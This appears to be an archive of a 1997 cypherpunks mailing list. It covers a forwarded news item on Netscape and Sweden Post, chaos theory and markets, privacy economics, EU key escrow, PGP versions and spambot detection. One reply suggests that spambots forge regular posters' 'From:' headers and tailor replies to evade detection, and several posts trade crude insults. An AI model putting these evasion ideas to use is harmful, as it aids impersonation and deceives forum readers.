EST) By In> Douglas Hayward , TechWire In> STOCKHOLM -- Netscape is negotiating an innovative deal with In> the Swedish national postal service aimed at creating a In> national intranet covering the whole of Sweden. In> Sweden Post plans to use Netscape's Communicator browser and In> SuiteSpot server software to offer Swedish households and In> small businesses intranet and Internet access services, In> according to observers familiar with the proposed deal, which In> is worth more than $10 million. In> The postal service would use the Netscape Directory Services In> product to create a single "white pages" facility covering all In> Swedish households wishing to join the scheme, which would In> potentially create a national intranet, observers said. In> All households joining the network would be given by Sweden In> Post electronic mailboxes and a copy of Netscape's In> Communicator browser software. The postal service would manage In> households' electronic mail services in a manner similar to In> the way it manages paper-based mail services. Sweden's total In> population is about 8.8 million people. In> The email addresses issued by Sweden Post would mimick the In> real-life address of each participating household. The goal is In> to issue more than 1 million email addresses by this summer, In> said Sweden Post spokesman Jan Andersson. In> "As far as I know, this is the first time a PTT has offered In> this kind of service," Andersson said. In> For households without networked PCs, Sweden Post would In> translate the incoming email and send it as separate faxes or In> print out the messages and send them through the paper-based In> mail system, he said. In> In addition to email, services offered to users will include In> electronic shopping, Web access, Web publishing facilities, In> and the ability to set up secure electronic trading outlets. In> The service will use 128-bit encryption software and digital In> certificates to ensure security. In> The idea that each assigned email address would be similar to In> the recipient's street address is troubling, said Ian Walden, In> a specialist in IT law for the London-based law firm of Tarlo In> Lyons. The plan may even violate the European data protection In> directive, a 1995 law that is in effect in all 15 nations in In> the European Union, he said. In> "Is it necessary to make a direct link in the email address to In> the physical location? I think it's dangerous," Walden said, In> "and I would warn Sweden Post to reconsider such an approach." In> Netscape will supply Sweden Post with browser and server In> software for an initial fee of roughly $10 million under the In> proposed deal, which was agreed in principle early March but In> has yet to be finalized. Sweden Post already uses Netscape's In> electronic publishing and merchant software in its Web-based In> electronic shopping mall -- known as Torget -- under a deal In> signed last year. In> Sweden Post, which recently lost its monopoly of mail delivery In> services in parts of Sweden, wants to become a major player in In> the Internet services market in order to compensate for any In> decline in its traditional business as a result of the growth In> of electronic communications. In> "Sweden Post realizes that either it gets into the electronic In> services market in a big way, or it loses a lot of business to In> Internet service providers. And for Netscape, deals like this In> with utilities are a perfect way to overcome Microsoft's In> greater marketing power among ISPs," said the observer. In> "Netscape believes that if it can to sign up the utilities, it In> won't have to worry too much about the ISPs in Europe." In> The initial licensing fee would not include the cost of future In> software upgrades nor the cost of royalty fees for copies of In> browser software distributed to households by Sweden Post. In> Lennart Gren, Netscape's director for the Nordic region In> including Sweden, declined to confirm that the deal had been In> agreed. In> Netscape has been targeting utilities and telcos in Europe for In> some time. In February, the German national telco, Deutsche In> Telekom, said it would promote Communicator as its browser of In> choice. The telco added that it would use Netscape's intranet In> suite as its product of choice when building intranets for In> corporate customers. /*************************************************************/ /* This user supports FREE SPEECH ONLINE ...more info at */ /* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */ /* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */ /* PGP public key available upon request. [KeyID: 04174301] */ /* F-print: FD E4 F8 6D C1 6A 44 F5 28 9C 40 6E B8 94 78 E8 */ /*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/ /* May there be peace in this world, may all anger dissolve */ /* and may all living beings find the way to happiness... */ /*************************************************************/ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAgUBM0nnJjltEBIEF0MBAQGACAf7B/fSypYu05W2AXyhDmhDTICbyt1EnsrE 1YdYCY01bTp9C0QjIXVsCLsfgpAzaC5BlGMjGa1IPPFRj/7zm9C26nIezYomggOu 0PLI2rvAPgjN3GxTs8k1/IfsJdi5PoTz6lLILL8NR5cXA+dCUeJbEx5jpS3zq709 SJgBg1L8IDI6Dg9JFhY0ZLrKxKbWq/cMM8swEqYF3HFEbDJXiBd4oSquhBBuYkxV f0Fd8WqFqaEcPp/MZ5oGp0cKsvnrw7QNTy+vLwvJqqM7Oj0P8hKPjG+shWkITKtx jg3Z8Juk4JvnlMhtv4Xe2b8fDO2cMW6qJCO1GGV/PWc1xU18W5pT5A== =txDk -----END PGP SIGNATURE----- If encryption is outlawed, only outlaws will have encryption... From kent at songbird.com Tue Apr 8 02:10:47 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 8 Apr 1997 02:10:47 -0700 (PDT) Subject: "...markets are fundamentally chaotic, not efficient"? Really? In-Reply-To: Message-ID: <19970408020746.46726@bywater.songbird.com> On Tue, Apr 08, 1997 at 01:51:45AM -0400, Robert Hettinga wrote: > At 12:36 pm -0400 on 4/7/97, Kent Crispin wrote: > > > Nope. Not any of those things (Gee, there's that "statist" word > > again. There must be a playbook somewhere). > > Yes. It's from the same playbook which says I now get to call you a "twit". Uh oh. Must of touched a nerve... > > More a "security > > analyst" notion. See the cute little book "Chaos and the Capital > > Markets" (I don't have it handy so I can't give you the author.) > > Anyway, he makes an empirical of security prices, and demonstrates > > that they are chaotic. It was more oriented to practitioners, not > > theorists... > > Bark. Chaos theory has nothing to say about the capital markets practically > by definition, but that's a "security analyst" notion, so you probably > wouldn't understand it. Sorry. It's Edgar Peters, "Chaos and Order in the Capital Markets", John Wiley, 1991. I'm sure you will rush out and buy a copy :-) > > Chaotic is not the same as stochastic. > > Actually, chaotic behavior is a subset of stochastic behavior. I stand by > what I said. Clearly, you don't know what you are talking about. Strictly speaking, chaotic behavior (as mathematically defined in chaos theory) is completely *deterministic*, not random. The conundrum is that chaotic behavior *looks* random, and indeed, it can be very hard to tell if a set of data is generated by a determinstic chaotic procedure or a stochastic procedure. Pretty pictures of Mandelbrot and Julia sets are generated by selecting points *determinstically*, iterating through a *determinsitic* algorithm, and looking at the result. It's the mathematics that creates the complexity, not randomness. (To be fair, of course, I must also state that some fractals are generated by starting with random numbers and running them through some algorithm.) > Just because a random variable is predictable within certain > parameters doesn't mean that you can call say, every flip of a coin 100 > times. When you get to the limit of predictability, you are as "efficient" > as you can get. > > > There are obviously stochastic > > factors in markets. Equally obviously, they are not the only factors. > > Sure. What? The devine right of kings? The inherent good of the > surveillance state? I say that stochasticity, including chaos, is the only > factor that matters. No, you described it just above when you said "just because a random variable is predictable within certain parameters". So, for example, I know that if a head is worth $1 and a tail is worth -$1, my net worth won't jump by $100 on a single toss. > > The fact that markets demonstrate a chaotic element is potentially > > exploitable as a trading strategy. > > That statement, is, of course, an another oxymoron, just like "market > control". I don't know whether you are expressing your flatulent ignorance of chaos theory, or whether you are referring to the term "trading strategy". I will give you the benefit of the doubt and assume the latter, and agree that the term "trading strategy" is at least suspicious. > > I heard that's why trading houses > > were hiring physicists, incidentally -- most of the expertise in > > Chaos Theory was developed in the context of physics. > > Rediculous. Most of the "expertise" in chaos "theory" is in the hands of > dillitantes who like to draw pretty pictures. A lot of those, for sure. But Mandelbrot did some of his first work on chaos studying cotton prices with Hendrik Houthakker, a Harvard economist. But how about Edward Lorenz (of the "Lorenz attractor") studying weather, studies of turbulence, Feigenbaum & Co at Los Alamos, the Dynamical Systems Group at Santa Cruz, etc etc. The pretty pictures are pretty, but even I can do those. > Most of the physicists hired > by Wall Street were people who discovered market analogs to physical > processes. A friend of mine, for example, who used Monte Carlo simulations > to analyze sonar returns, and now uses Green's functions to get faster > results on interest rates and total return scenarios on bonds. Or another, > who did 2D magnetohydrodynamic code once, and now does fun stuff in the > currency markets. Sure, that too. > The problem with simulating a market with emergent systems is that you > can't say anything about a given market when the simulation is over. Just > about the simulation. Otherwise (duh?) it's not chaotic enough. Which, by > the way, was my point. When you get to "chaos", you're as "efficient" as > you can go. I wasn't referring to simulating markets; I was referring to studying real markets. [...] > > That's "Crispin", Mr. Applethwaite. I hate being mislabeled. > > Ah. Another ad hominem. No, just a joke. Boy, I must really have hit a nerve. Sensitive big ego, perhaps? > See "twit", above. You're ugly, and your mother > dresses *you* funny, too. By the way, I'm sorry I misspelled your name. For > some reason, it seems I didn't respect you enough to get it right... That's ok. I just attribute it to a fragile ego, anyway. > > I never said anything about planned economies being efficient. In > > fact, I never mentioned planned economies at all. > > You said that "chaotic" markets aren't efficient. I said exactly the > opposite. That they are the ultimate in efficiency, and that if you believe > that chaotic markets are not efficient, you must favor planned economies, > because they're the only alternative. It's understandable that you might make this mistake, given your misunderstanding of dynamic systems. > I figure this tendency towards > stringent control must be from where you work or something. Oops. Another > ad hominem. So sorry. They must be in the air this evening. That nerve must really be throbbing. Sorry. > > Obviously I can't "prove" markets are not efficient -- that's an > > empirical matter, not a mathematical matter. However, no one can > > prove they are efficient, either (that's why it's the "Efficient > > Market *Hypothesis*"). There are many other examples of persistent > > inefficiencies in markets, the presidential election year cycle > > being the first to come to mind. > > Right. And the increasing American importation of bananas throughout the > 20th century caused an increase in suicide. Another informal fallacy. > You're nine for nine tonight, Mr. Ch^hispin. Of course there are actual > exceptions to the efficient market hypothesis, fools' markets being the > most famous example. You don't like my example, but agree to my point. I like that. So now we both agree that "there are actual exceptions to the efficient market hypothesis" (your words). > However, the crash of any given fool's market is > completely unpredictable, and, as such, is as efficient a price as you're > going to get, paradoxically. Which was my point. You, unfortunately, misunderstand your own example. It actually is a paradox. > > [interesting but besides the point argument deleted] > > Actually, it was the *whole* point, but you didn't get it. Another one of > those "security analyst" notions, which kind of blew by you, in what seems > to be a rather breezy evening in your neck of the woods... Plenty of hot air around, as you speak. > > This inability of a hierarchy to handle as much information or resources as > > a geodesic is, of course, a major problem with key escrow, > > No, it's a theoretical problem that has no impact on practical key recovery > systems. > > Okay. I'll tell you this one, for fun, too, since you don't get *it* > either. In a geodesic network, a single node can not possibly process all > the information in the network. It chokes, and the network routes around > it. > > You can bet that any key escrow agent would be innundated with > surviellance requests No, I wouldn't bet that. Even a lame theory a looks good against a braindead strawman. [rest of braindead strawman deleted] > > "Whip me! Beat me! Savage me in Cypherpunks!" > > Just lay there and take it, slave. You know you love it, or you wouldn't be > here. Actually the most entertaining thing is watching blowhards at work. And one thing for sure, Bob -- for all your failings, you *do* know how to blow. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From weidai at eskimo.com Tue Apr 8 02:15:12 1997 From: weidai at eskimo.com (Wei Dai) Date: Tue, 8 Apr 1997 02:15:12 -0700 (PDT) Subject: some arguments for privacy Message-ID: A couple of weeks ago I asked for some arguments in favor of privacy. I pointed out that one person's increased privacy exerts negative externalities on others by reducing their available information. I wanted to know why more privacy might be beneficial to society despite this consideration. I didn't really get the answers I wanted, probably because I wasn't clear about the kind of arguments I had in mind. Anyway, here I give some arguments of my own, which I hope offer new perspectives on this issue. Privacy as Insurance Suppose you are looking for a job. It seems reasonable to argue that if you are a better than average worker, you would be able to get a better offer if you had less privacy because the potential employers would be better able to distinguish your abilities from your past history. On the other hand less privacy would hurt you if you are a worse than average worker. If you don't yet know your own abilities, you would prefer more privacy as an insurance against your own potential deficiencies. If that doesn't seem realistic, consider how the argument might apply to your children. This line of reasoning also explains why people are troubled by genetic screening. Thus privacy might increase social welfare by providing a sort of social insurance. Privacy as Restriction on Signaling "Signaling" is a term used by game theorists to describe the use of publicly observable actions to provide information to others about one's private attributes. The best example comes from biology, where male peacocks grow extravagant tails to signal their genetic fitness to females. Clearly signals must be costly, otherwise they wouldn't be convincing. They are often also wasteful, as in the peacock example. (As a side note, the deposit solution to the junk mail problem I talked about some days ago is an example of non-wasteful signaling.) Privacy reduces the range of actions one can use as signals. This would increase social welfare if the wastefulness of the signals exceed the benefit they provide in the form of useful information. Consider a possible future where every room in every house is wired with a camera that continously broadcasts to the Internet. Life would certainly be very uncomfortable in this future, as every trivial action must be carefully considered in order to preserve one's reputation. Possible Benefit of Non-Privacy Limited This is more of an argument for privacy technology, rather than privacy per se. Suppose that privacy-invading technology becomes much cheaper than privacy-enhancing technology. Given the arguments above it seems inevitible that governments will pass laws to restrict the distribution of certain kinds of information about individuals. But of course this will not keep the information out of the hands of those governments themselves and other resourceful organizations. Thus any possible benefit of decreased privacy in the form of market efficiency would be severely limited since only a few market players would have improved information. This benefit would be easily outweighted by the harm in the form of governments' increased coercive power. From kent at songbird.com Tue Apr 8 02:23:49 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 8 Apr 1997 02:23:49 -0700 (PDT) Subject: Feds reading this list, Jim Bell, and threats In-Reply-To: <199704071645.JAA23089@crypt.hfinney.com> Message-ID: <19970408022103.33787@bywater.songbird.com> On Mon, Apr 07, 1997 at 07:24:03PM -0600, Toto wrote: > Kent Crispin wrote: > > > > I think it is fairly clear that AP is a Chimera. The problem with > > lurid fantasies like it, though, is that they give the press and > > politicians convenient targets. In fact, a case could be made for > > considering Jim Bell as a NSA shill. Certainly he is a perfect foil > > for a statist agenda. > > So, now Kent is volunteering to testify to the fact that Jim Bell is > an NSA shill. (and still seems ashamed of his .gov address) Just so you know, Toto, .gov informs me it doesn't want there to be the slightest possibility of anyone thinking I am speaking for it. And the part about Jim Bell being an NSA shill? I am not volunteering to testify to anything, but your are the *second* person to say something about it, so it *must* be true. And the part about the statist agenda? That must be true too, since you quoted it. > I am waiting for a post from Kent that is sufficiently lucid that it > can be replied to without drinking an extra bottle of Scotch to follow > his twisted trail of logic. You needed that extra bottle anyway. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From bryce at digicash.com Tue Apr 8 03:14:14 1997 From: bryce at digicash.com (Bryce) Date: Tue, 8 Apr 1997 03:14:14 -0700 (PDT) Subject: some arguments for privacy In-Reply-To: Message-ID: <199704081014.MAA05816@digicash.com> One of the most compelling consequences of strong privacy is pseudonymity, i.e. the ability to conduct business and personal affairs without allowing others to learn your physical identity or location. This is a very strong protection against extortion, kidnapping and all other kinds of physical violence. (Its lesser cousin, anonymity, also protects again physical violence, but it has limited usefulness in business and/or personal affairs.) (For example, if a business magnate wishes to manage a vast financial empire while still allowing her children to grow up in a safe and open environment, there is probably no better solution than that she manage her vast financial empire pseudonymously, so that would-be thugs will not know _who_ to kidnap in order to extort ransom.) Perhaps Wei Dai should apply his sharp mind to analyzing the net effect on society of _that_ phenomenon. The benefit for the individual thus protected is clear, but, as the Unmentionable Topic shows, it is arguable that the net effect on society (as it were) will be less than optimal. Regards, Zooko Journeyman Disclaimers follow: I am not a cypherpunk. NOT speaking for DigiCash or any other person or organization. No PGP sig follows. From 3umoelle at informatik.uni-hamburg.de Tue Apr 8 03:18:06 1997 From: 3umoelle at informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=) Date: Tue, 8 Apr 1997 03:18:06 -0700 (PDT) Subject: [PGP-USERS] New International Version (fwd) Message-ID: <199704081017.MAA02946@rzdspc82.informatik.uni-hamburg.de> Forwarded message from Lutz Donnerhacke : On Tue, Apr 08, 1997 at 02:00:02AM +0200, Ulf M�ller wrote: > > The subject is somewhat misleading. PGP 2.6.3in is a derivative of > > PGP 2.6.3i, modified as to comply with the policy of the certification > > authority run by Individual Network e.V. (IN e.V.). Specificially, it > > differentiates between signature and encryption keys, and implements > > key expiry dates. > > PGP4.5 does both of these things. I wonder if their modifications are > compatible with PGP Incs newer version. > > It would be a pity for the versions to get out of sync and cause > compatibility problems. If PGP4.5 follows the PGFormat.Doc specifications, there will be no problem despite ENCR/SIGN, which is not covered by the PGFormat.Doc. From gbroiles at netbox.com Tue Apr 8 03:59:44 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 8 Apr 1997 03:59:44 -0700 (PDT) Subject: Denning paper on crypto, EU mandatory GAK Message-ID: <3.0.1.32.19970408040544.0075e1c0@postoffice.pacbell.net> -----BEGIN PGP SIGNED MESSAGE----- Apologies if this has been mentioned before, but I ran across a new (new to me; it's dated 2/19/97) paper by Dorothy Denning re crypto and crypto policy/legislation. Historically, her work has proven to precede/predict policy shifts on the part of the US government. The paper has little information which is new to a reader of cpunks; but I did note one ominous paragraph referring to the role of "TTPs" in Europe: >>>> The European Commission has been preparing a proposal to establish a European-wide network of Trusted Third Parties (ETS) that would be accredited to offer services that support digital signatures, notarization, confidentiality, and data integrity. The trust centers, which would operate under the control of member nations, would <<<< ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >>>> hold keys that would enable them to assist the owners of data with emergency decryption or supply keys to their national authorities on production of a legal <<<< ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ >>>> warrant. The proposal is expected to be adopted by the Commission, with discussions provisionally scheduled in the Council of the European Union for the first half of 1997 [22] <<<< Also see , which appears to be the home page for a pilot project creating a software and political/corporate infrastructure for Europe-wide GAK. Yow. Also of interest is her cite to John Young's archived version of the 12/30/96 revision of the EARs instead of the BXA's. The paper itself is at ; like it or not, it may prove to be a useful insight into what's coming in 1997/1998. -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBM0oWVP37pMWUJFlhAQEClgf/WIIWSILMpyM47o1LU83cS78V7OHuSpJM WsSrajoKX4TxbH/+Dwcwjf/s8IFI41+rj9VcL+pucXN+HarztYJpT6MX80ULI6sa EvmpXZ2gfKBisvHs9co2CRvSHwTip03sJvciGxilk0V70jNPaSZfRPb+22wsQerl his86IqSUt1OQFkXLmiOCak0z1jT6D25AoVCc+M0EoKfE7KwmOdoiFxhrAw1/HqZ 09H98nB55fS207zBsKW6b0u2zQfA9pTHeNfRn7V1PHnqaO4iprGy4SDMvbh/4t87 1wznAc25Un1QwTPTAjQypS7vS+qlMGRUPIO2uwzCi6HuK84c2Tf9Cw== =qR1F -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From gbroiles at netbox.com Tue Apr 8 04:01:25 1997 From: gbroiles at netbox.com (Greg Broiles) Date: Tue, 8 Apr 1997 04:01:25 -0700 (PDT) Subject: some arguments for privacy In-Reply-To: Message-ID: <3.0.1.32.19970408040639.02760018@postoffice.pacbell.net> -----BEGIN PGP SIGNED MESSAGE----- At 02:15 AM 4/8/97 -0700, Wei Dai wrote: >Suppose you are looking for a job. It seems reasonable to argue that if >you are a better than average worker, you would be able to get a better >offer if you had less privacy because the potential employers would be >better able to distinguish your abilities from your past history. On the >other hand less privacy would hurt you if you are a worse than average >worker. One of the problems with talking about privacy is that people use the word to mean many different things. Apropos to the current discussion, I see two different uses co-existing in a non-useful way: 1. Privacy as a lack of information 2. Privacy as a right to control the flow of information where the second usage refers to the ability to decide who ends up with the first usage. I'm assuming that lack of information can be characterized as risk, and that risk can be characterized as negative value. The Coase Theorem would seem to suggest that the second usage is (may be) superfluous, because the [lack of] information/risk will be allocated to the party which values it most. However, the right discussed in (2) is still meaningful, because it is (and will) be used as a bargaining chip to gain or lose other things of value. Also, it's useful to think about whether or not there are (or should be) some things we are unwilling to do in the name of efficiency. For example, we might consider it "efficient" if people were allowed to sell their children; but most societies have chosen to consider markets for children unacceptable on moral grounds, apart from concerns about the efficient distribution of children. (I've heard that (Richard?) Posner, an outspoken federal appellate judge, wrote a paper discussing markets for children as a thought exercise; and that the political fallout from that paper (some 10-15 years later) means that he's got no real chance of a Supreme Court seat, even if he's otherwise qualified. Perhaps this message means I'll never get there, either. :( A society might choose to place privacy on the list of "things for which there may not be a market"; but adherents to the strong version of cryptoanarchy will likely predict that a market will exist, anyway. (I believe there's currently a small global market for children; but they're still more difficult to buy than, say, cigarettes. And slightly less difficult to buy than, say, a gun in Berkeley.) But (for me) the real reason that privacy is good (even if it's "inefficient") is that privacy is inherently related to control, and to freedom. It's very difficult to influence or alter the behavior of a person unless you can monitor their behavior. If we make it difficult (or impossible) to learn some things about people, we effectively create zones of autonomy related to those zones of privacy. I believe that this is the somewhat elusive link between the various constitutional rulings on "privacy" grounds, discussing abortion and contraception and childraising and interracial marriage and private possession of pornography and gay rights (although the last has failed, so far.) Those decisions paint an invisible line between "private" and "public" spheres, whereby the state cannot or should not interfere with personal choices; and I believe that the close correspondence between those lines and traditional notions of "intimacy" is not coincidental. I believe that a hypothetical privacy-free state would be "efficient" in the same way that a hypothetical centrally-planned economy is "efficient" - e.g., on paper, it sounds good. All of the right things will happen at just the right times, risks (or economic goods) will be allocated to those who deserve them, etc. In practice, centrally planned economies have proven to suffer from human flaws - greed, lust for power, shortsightedness, poor judgement, and so forth. The initial allocation of all (or substantially all) economic resources to one economic actor (the state) prevents the operation of the Coase Theorem and its redistribution of rights/values, because the other actors (individuals) have nothing to offer in return; and because it is not possible for the other actors to legitimately retain those rights or value. A society which initially distributed information rights to the state - or which refused to recognize them as rights - would, I believe, create a similar lack of freedom and autonomy. It's difficult to discuss privacy in economic terms because we are accustomed to valuing one side of the choice - risk, or lack of information - in quantitative terms, but we are not accustomed to valuing the other side - freedom, or lack of opportunity to exercise control - in quantitative terms. (I don't think that the other party's valuation of risk is a good measure for the value of the freedom. But this is turning into a pretty long message which is somewhat more theoretical than may be of interest to many list members. So I'll go to bed and see if people feel like continuing in this vein.) -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAgUBM0omo/37pMWUJFlhAQHABQf/QQW4B+Wwq6gGLV/YxvAawYOiGp8VBTqm EUSyTjw+Wai+vv/RovdgvKtU3JWxFn91tU28kkTDqjQ2DqkapWK8zi42XIIite3/ HXQ3t18BGhq1v9IRvOlOOIKXmeEG+frf59CTczzgwzivDSfmchT8PSOvHJo9+KKp vzHbwaWGS1pCUeQZNYl5GQ1667jb0oy+wKssiX9Cy4HuQ2z/ZnFYKjQZsGfEJalK z9yoTyGMCB6KUFuEL+AdDe6HdikSqQgBgJBOCXi/B8OTkKPgfOnsdiueiVq6GIgC fVEywZo5nCtWDfVW1/QE39O7jBQvLG2pdTE5aaYQzLR2xIN3vAAAow== =exeH -----END PGP SIGNATURE----- -- Greg Broiles | US crypto export control policy in a nutshell: gbroiles at netbox.com | http://www.io.com/~gbroiles | Export jobs, not crypto. | From nobody at REPLAY.COM Tue Apr 8 04:37:18 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 8 Apr 1997 04:37:18 -0700 (PDT) Subject: U.S.S. Liberty Message-ID: <199704081137.NAA17239@basement.replay.com> Timothy Maypole digs into his cesspool of a mind for his mailing list fertilizer. _ o |<)_/# Timothy Maypole TT Message-ID: <9704081216.AA24634@public.uni-hamburg.de> > The paper has little information which is new to a reader of cpunks; but I > did note one ominous paragraph referring to the role of "TTPs" in Europe: She quotes David Herson, who has been "preparing a proposal" for years. He had announced that the Commission would publish guidelines in autumn 1995. So far, nothing has happened. From dlv at bwalk.dm.com Tue Apr 8 05:36:25 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 8 Apr 1997 05:36:25 -0700 (PDT) Subject: your mail In-Reply-To: <199704080708.AAA03857@netcom21.netcom.com> Message-ID: mpd at netcom.com (Mike Duvos) writes: > Graham-John writes: > > > On Mon, 7 Apr 1997, Mix wrote: > > > I think Vulis needs each of us to send ten copies of this back to him. > > [Silly Timmy May insult deleted] > > You do realize you are doubling the amount of noise by responding to > each and every one of these posts, don't you? Perhaps he doesn't. A prefrontal lobotomy does that to people. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From camcc at abraxis.com Tue Apr 8 05:38:50 1997 From: camcc at abraxis.com (Alec) Date: Tue, 8 Apr 1997 05:38:50 -0700 (PDT) Subject: Is Cynthia H. Brown "pissing up a rope"? In-Reply-To: <199704080058.UAA21322@homer.iosphere.net> Message-ID: <3.0.1.32.19970408083653.007db370@smtp1.abraxis.com> -----BEGIN PGP SIGNED MESSAGE----- At 08:05 PM 4/7/97 -0600, Toto wrote: |> Results pasted in from http://www.nbceurope.com/ |> 85% said no... |> while 15% said yes. | Is Cynthia H. Brown pissing up a rope? | Toto said yes, 85 times. | Cynthia said no, 15 times. | | Not that I'm a troublemaker... That's not what I'd call you. Sounds like a typical Toto evening out with a lady. Alec -----BEGIN PGP SIGNATURE----- Version: 4.5 iQCVAgUBM0o74CKJGkNBIH7lAQEC+AQAg7zqvvtGx1faJfVRd8Z1HnlQgeCBc/G0 CzORD3LVrr085zZZiIjkDz4/lN13Xm2N1WmhJsL8Sqbt092knXfVBBmVDHwiydM1 XiBPFE/l2nl9piiGIM5FuQ0s5n9ViXrFuuP/0gK1+HdzdnTeentwHUWoO6Y7sc53 IkiLrydM5UE= =MiaQ -----END PGP SIGNATURE----- From dlv at bwalk.dm.com Tue Apr 8 05:40:46 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 8 Apr 1997 05:40:46 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: <199704080635.BAA28472@manifold.algebra.com> Message-ID: ichudov at algebra.com (Igor Chudov @ home) writes: > Hi, > > As we all know, there exist certain programs, called "spambots", whose > task is to post various messages to many newsgroups simultaneously. > > Besides their posting functionality, certain spambot programs take > special care to make their spams undetectable by anti-spambots. In > particular, they can be programmed to modify certain fields or the > message text itself in such a way that these messages would not look > unique, but would still carry the same content. > > We can generalize the things that spambots might do and suggest that > a general spambot would do the following to avoid spam detection: > > 1) modify all header fields, for example From: Subject:, etc, with > each spam posting. > 2) Follow up to other articles posted to newsgroups so that the > spams would look like genuine unique messages to the readers, and > defeat spam detectors Right - if you're following up in a newsgroup, you can just re-use the subject. You can also use the "From:" and other headers from one of the regular posters. > 3) Randomly altering the spam message proper such that blindly comparing If you're following up, then rather than being random, you can tailor you response based on the message you're following up on - kind of like Eliza or better. :-) > them would be futile. Such alterations may include interchanging certain > synonymous words, adding spaces or punctuation, or simply changing line > wrapping length. > 4) Swapping paragraphs and phrases. > 5) Add random headers, footers & fillings (like ASCII art) > > I am sure that the readers can come up with more examples. > > The task (or the problem) is: > > a) come up with a reasonable set of assumptions of what such a > spambot would or could do > b) Create an algorithm which would print Message-IDs of messages that > have identical content, so that most if not all of the judgments of > this algorithm would be correct, assuming that the spambot operates > within the limits of a). > > A message can be thought of as a sequence of words, phrases and > paragraphs, as well as a set of header lines. > > Path: header field may be specially treated. I don't think it's possible. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From blizzard at appliedtheory.com Tue Apr 8 06:55:05 1997 From: blizzard at appliedtheory.com (Christopher Blizzard) Date: Tue, 8 Apr 1997 06:55:05 -0700 (PDT) Subject: Jim Bell raid In-Reply-To: Message-ID: <199704081254.IAA13618@odin.appliedtheory.com> In message , Sergey Goldga ber writes: : :Jim Bell's essay is, IMO, definately free speech. And, as you can see from :the IRS Inspection report, he was not charged with anything relating to the :essay itself. In fact, the raid happened a long time after he published :the essay, and may truely be unrelated. : Of course, the papers only talk about this. Anytime they get to use two cool buzzwords like "Interet" and "Militia", they're happy. They're even happier when they get to use them in the same sentince. It'll sell. --Chris ------------ Christopher Blizzard AppliedTheory Communications, Inc. blizzard at appliedtheory.com ------------ From nobody at squirrel.owl.de Tue Apr 8 07:51:31 1997 From: nobody at squirrel.owl.de (Secret Squirrel) Date: Tue, 8 Apr 1997 07:51:31 -0700 (PDT) Subject: Cryptography Export Message-ID: <19970408124924.5846.qmail@squirrel.owl.de> I export cryptography source code almost every single day. Does the government have a problem with that? Fuck them in the ass! I can't believe that corporations pay legal experts huge sums of money to receive advice telling them to bend over and spread 'em for the government's bullshit legislation. I am not alone. My nephew regularly exports 'code' for Pig-Latin, as a parody of my efforts to spread the use of crypto. He says that they can take his Pig-Latin when they pry it from his cold, dead, baby fingers. Cable companies regularly export encryption code when they send out their signal-scrambling code to foreign recipients. Can you think of other examples? Can you think of hundreds of similar examples? Think about it. If the government wants to prosecute me for exporting encryption code, then they had best be prepared to prosecute _all_ exporters of every single item that involves altering data that can be re-converted on the other end to render the output intelligible. If you think that I am taking this matter lightly, then think again, because I have a legal opinion from an attorney who has been shoving the governments dick back in their own face for half a century, and he regards my potential defence as a cake-walk. I not only already have the paperwork set up to defy any potential restraining orders that may arise, but I have a judge that is fully prepared to institute the necessary proceedings to validate my right to do what hundreds or thousands of individuals and corporations are doing every single day. If the government thinks that they can legislate the thickness of condoms available for export, then they had best think again. And if they think that they can require exported condoms to have holes in them, then they are certainly living in fantasy land. I am a self-confessed madman, but I am a madman standing on legal precedents that are as solid as the Rock of Gibralter. (Think about it.) Potential Prudential Precedent From nobody at huge.cajones.com Tue Apr 8 08:25:51 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Tue, 8 Apr 1997 08:25:51 -0700 (PDT) Subject: Cuba and AP Message-ID: <199704081525.IAA31961@fat.doobie.com> A non-text attachment was scrubbed... Name: not available Type: text/enriched Size: 1037 bytes Desc: not available URL: From dlv at bwalk.dm.com Tue Apr 8 09:14:57 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 8 Apr 1997 09:14:57 -0700 (PDT) Subject: Anti-Spambot: what algorithm should be used? In-Reply-To: <199704080635.BAA28472@manifold.algebra.com> Message-ID: owner-cypherpunks at manifold.algebra.com writes: > As we all know, there exist certain programs, called "spambots", whose > task is to post various messages to many newsgroups simultaneously. > > Besides their posting functionality, certain spambot programs take > special care to make their spams undetectable by anti-spambots. In > particular, they can be programmed to modify certain fields or the > message text itself in such a way that these messages would not look > unique, but would still carry the same content. I just came up with yet another brilliant idea how to combine Usenet marketing with e-cash. Suppose Alice runs an advertizing agency and gets paid to publicize certain messages of commercial or political nature. She sets up a Web page listing the catalog of regexps that she wishes to publicize. Something like: 1. Visit.*teens.*http://www.xxxfoo.bar 2. Elect.*John M. Grubor.*sheriff 4. 